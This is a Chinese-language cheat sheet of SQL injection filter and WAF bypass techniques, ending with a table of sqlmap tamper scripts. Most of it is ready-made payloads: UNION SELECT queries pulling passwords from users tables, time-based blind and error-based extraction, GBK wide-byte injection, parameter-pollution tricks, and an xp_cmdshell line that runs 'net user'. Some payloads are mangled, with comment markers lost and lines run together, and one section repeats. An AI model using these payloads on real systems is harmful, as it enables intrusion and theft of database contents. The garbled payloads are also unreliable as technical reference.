看了一眼竟然没写过sql注入的绕过姿势;具体情景具体操作,一切都以当前环境基础来进行绕过

常用绕过方法

####大小写绕过

大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过,这是最简单的绕过技术

?id=1 UnIon SeLeCt user()#

####双写绕过

waf将关键字替换为空,没有递归

?id=1 uniunionon seselectlect user()#

####编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

####关键字拆分

‘se’+‘lec’+‘t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+‘ster…x’+‘p_cm’+‘dsh’+‘ell “net user”’)
!和()’ or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

####反引号绕过

反引号是个比较特别的字符,可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景

表名

payload:select * from `users` where user_id=1 limit 0,1;

可以正常执行的,这样使用还可以起到分隔符的作用,如下

eg:select * from`users`where user_id=1 limit 0,1;

起别名

payload:select user_id,user `111111` from users where user_id=1 limit 0,1;

反引号注释符原理

上面说了反引号的使用,下面来看看具体是怎么使用来进行绕过SQL检测的

主要用的就是起别名这个,这个运用范围比较窄

如果不闭合反引号,则后面的所有都会成为别名

eg:select 1,2 `111111 from users where user_id=1 limit 0,1;

相当于注释的作用的,不过运用条件比较苛刻

宽字节绕过

过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 “ 转为 “ 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , “ , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

\x00 \n \r \ ' " \x1a

(防御,将mysql设置为gbk即可)

宽字节绕过只有php版本小于5.4的时候才可以

常用函数被过滤

####过滤substr

waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

####过滤group by

waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

####过滤and or

waf = ‘and|or’
过滤代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

####过滤union

waf = ‘and|or|union’
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=‘admin’

####过滤where

waf = ‘and|or|union|where’
过滤代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’

####过滤limit

waf = ‘and|or|union|where|limit’
过滤代码 1 && (select user from users limit 1) = ‘admin’
绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin

####使用mid()等逗号被过滤的情况

mid(user() from 1 for 1)substr(user() from 1 for 1)mysql> select ascii(substr(user() from 1 for 1)) < 150;+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |+------------------------------------------+
|1 |+------------------------------------------+

####过滤select

waf = ‘and|or|union|where|limit|group by|select’
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = ‘a’

####过滤hex

waf = ‘and|or|union|where|limit|group by|select|’|hex’
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

常用符号被过滤

####’(单引号)被过滤

waf = ‘and|or|union|where|limit|group by|select|’’
过滤代码 1 && substr(user,1,1) = ‘a’
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)

####空格被过滤(括号绕过)

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

####引号被过滤(使用十六进制绕过)

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

####逗号被过滤(使用from或者offset绕过)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

####比较符号(<>)被过滤(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

between a and b:between 1 and 1; 等价于 =1

注释符

//
--%20
/**/
#
--+
-- -
%00
;

普通注释

z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#

/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、–+用于终结语句的查询

内联注释

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他

index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3?page_id=null%0A///!50000%
55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用

like绕过

?id=1' or 1 like 1#
可以绕过对 = > 等过滤

in绕过

or ‘1’ IN (‘1234’)#
可以替代=

等价函数或变量

hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))and extractvalue(1, concat(0x5c, (select user()),0x5c))

反引号绕过

反引号是个比较特别的字符,可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景

表名

payload:select * from `users` where user_id=1 limit 0,1;

可以正常执行的,这样使用还可以起到分隔符的作用,如下

eg:select * from`users`where user_id=1 limit 0,1;

\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法、HTTP头的控制

HPP(HTTP Parameter Polution)

举例

/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式不同。具体WAF如何处理要看其设置的规则

HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符%0a、%0d等换行)

举例

/?a=1+union/&b=/select+1,pass/&c=/from+users--
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

看完上面两个示例发现和HPP最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

HPC(HTTP Parameter Contamination)

这一概念见于Beyond SQLi: Obfuscate and Bypass这里Contamination意为污染
RFC2396定义了如下一些字符

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑

sqlmap/tamper是官方给出的一些绕过脚本

序号	脚本名称	注释
1	0x2char	将每个编码后的字符转换为等价表达
2	apostrophemask	单引号替换为Utf8字符
3	apostrophenullencode	替换双引号为%00%27
4	appendnullbyte	有效代码后添加%00
5	base64encode	使用base64编码
6	between	比较符替换为between
7	bluecoat	空格替换为随机空白字符,等号替换为like
8	chardoubleencode	双url编码
9	charencode	将url编码
10	charunicodeencode	使用unicode编码
11	charunicodeescape	以指定的payload反向编码未编码的字符
12	commalesslimit	改变limit语句的写法
13	commalessmid	改变mid语句的写法
14	commentbeforeparentheses	在括号前加内联注释
15	concat2concatws	替换CONCAT为CONCAT_WS
16	equaltolike	等号替换为like
17	escapequotes	双引号替换为\\\\
18	greatest	大于号替换为greatest
19	halfversionedmorekeywords	在每个关键字前加注释
20	htmlencode	html编码所有非字母和数字的字符
21	ifnull2casewhenisnull	改变ifnull语句的写法
22	ifnull2ifisnull	替换ifnull为if(isnull(A))
23	informationschemacomment	标示符后添加注释
24	least	替换大于号为least
25	lowercase	全部替换为小写值
26	modsecurityversioned	空格替换为查询版本的注释
27	modsecurityzeroversioned	添加完整的查询版本的注释
28	multiplespaces	添加多个空格
29	nonrecursivereplacement	替换预定义的关键字
30	overlongutf8	将所有字符转义为utf8
31	overlongutf8more	以指定的payload转换所有字符
32	percentage	每个字符前添加%
33	plus2concat	将加号替换为concat函数
34	plus2fnconcat	将加号替换为ODBC函数{fn CONCAT()}
35	randomcase	字符大小写随机替换
36	randomcomments	/**/分割关键字
37	securesphere	添加某字符串
38	sp_password	追加sp_password字符串
39	space2comment	空格替换为/**/
40	space2dash	空格替换为–加随机字符
41	space2hash	空格替换为#加随机字符
42	space2morecomment	空格替换为/**_**/
43	space2morehash	空格替换为#加随机字符及换行符
44	space2mssqlblank	空格替换为其他空符号
45	space2mssqlhash	空格替换为%23%0A
46	space2mysqlblank	空格替换为其他空白符号
47	space2mysqldash	空格替换为–%0A
48	space2plus	空格替换为加号
49	space2randomblank	空格替换为备选字符集中的随机字符
50	symboliclogical	AND和OR替换为&&和||
51	unionalltounion	union all select替换为union select
52	unmagicquotes	宽字符绕过GPC
53	uppercase	全部替换为大写值
54	varnish	添加HTTP头
55	versionedkeywords	用注释封装每个非函数的关键字
56	versionedmorekeywords	使用注释绕过
57	xforwardedfor	添加伪造的HTTP头